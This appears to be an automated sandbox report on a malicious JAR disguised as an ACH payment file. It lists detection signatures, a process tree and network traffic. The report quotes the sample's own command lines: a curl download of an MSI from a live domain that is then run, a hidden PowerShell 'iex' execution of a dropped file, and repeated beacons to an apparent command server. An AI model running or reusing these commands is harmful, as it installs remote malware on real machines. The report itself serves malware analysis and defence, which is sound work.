Edit tour

Windows Analysis Report
23-April-24-ACH-7fa67756.jar

Overview

General Information

Sample name:	23-April-24-ACH-7fa67756.jar
Analysis ID:	1430484
MD5:	7f75fe01e92534899449d5191d586045
SHA1:	a26a267dac7dfc8b8feda0a190dc845ad4f6f0ca
SHA256:	2e0c02a54421ab2ba82705e261919e34e4109ceb660274a1fd8b3ca25cb60371
Tags:	jar
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Exploit detected, runtime environment starts unknown processes

Suspicious powershell command line found

Uses ping.exe to check the status of other devices and networks

Abnormal high CPU Usage

Checks for available system drives (often done to infect USB drives)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Shell Process Spawned by Java.EXE

Too many similar processes found

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 3480 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar"" >> C:\cmdlinestart.log 2>&1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

java.exe (PID: 6152 cmdline: "C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar" MD5: 9DAA53BAB2ECB33DC0D9CA51552701FA)

icacls.exe (PID: 5740 cmdline: C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M MD5: 2E49585E4E08565F52090B144062F97E)

conhost.exe (PID: 3868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6360 cmdline: cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 7008 cmdline: curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

cmd.exe (PID: 5836 cmdline: cmd /c C:\downloads\aHPCrYM1.msi MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 5248 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\downloads\aHPCrYM1.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 5652 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

cmd.exe (PID: 3376 cmdline: "cmd" /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') | out-string)" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3632 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') | out-string)" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 2836 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

dllhost.exe (PID: 4192 cmdline: C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

PING.EXE (PID: 4516 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 4840 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 6196 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 2520 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 6672 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 5112 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 1900 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 3492 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 1688 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 3104 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 2128 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 2800 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

conhost.exe (PID: 5860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4052 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 4192 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 6040 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 1376 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 6580 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 6688 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 4864 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 2952 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

PING.EXE (PID: 6864 cmdline: "C:\Windows\system32\PING.EXE" 1.1.1.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

cleanup

Sigma Signatures

Sigma detected: Shell Process Spawned by Java.EXE

Source: Process started

Author: Andreas Hunkeler (@Karneades), Nasreddine Bencherchali: Data: Command: cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi, CommandLine: cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\Java\jre-1.8\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\23-April-24-ACH-7fa67756.jar" , ParentImage: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe, ParentProcessId: 6152, ParentProcessName: java.exe, ProcessCommandLine: cmd /c curl.exe --output C:\downloads\aHPCrYM1.msi --url https://cryptonews.direct/wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi, ProcessId: 6360, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') | out-string)", CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') | out-string)", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c start /min C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') | out-string)", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3376, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden "iex (gc ('C:\ProgramData\lgp\sjm') | out-string)", ProcessId: 3632, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: unknown

HTTPS traffic detected: 172.67.168.231:443 -> 192.168.2.9:49708 version: TLS 1.2

Source: C:\Windows\System32\msiexec.exe	File opened: z:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: x:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: v:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: t:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: r:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: p:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: n:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: l:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: j:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: h:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: f:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: b:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: y:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: w:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: u:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: s:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: q:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: o:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: m:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: k:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: i:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: g:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: c:	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File opened: a:	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Software Vulnerabilities

Exploit detected, runtime environment starts unknown processes

Source: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe

Process created: C:\Windows\SysWOW64\cmd.exe

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive

Source: Joe Sandbox View

JA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /wp-content/themes/twentytwentytwo/MSD_Setup_sib.msi HTTP/1.1Host: cryptonews.directUser-Agent: curl/7.83.1Accept: /
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /2220045058 HTTP/1.1Host: 64.95.10.191Connection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: cryptonews.direct

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:46:21 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:46:28 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:46:35 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:46:42 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:46:48 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:46:55 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:02 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:09 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:15 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:22 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:29 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:36 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:43 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:49 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:47:56 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:03 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:10 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:17 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Type: text/plain; charset=utf-8Content-Length: 9ETag: W/"9-0gXL1ngzMqISxa6S1zx3F4wtLyg"Date: Tue, 23 Apr 2024 15:48:24 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
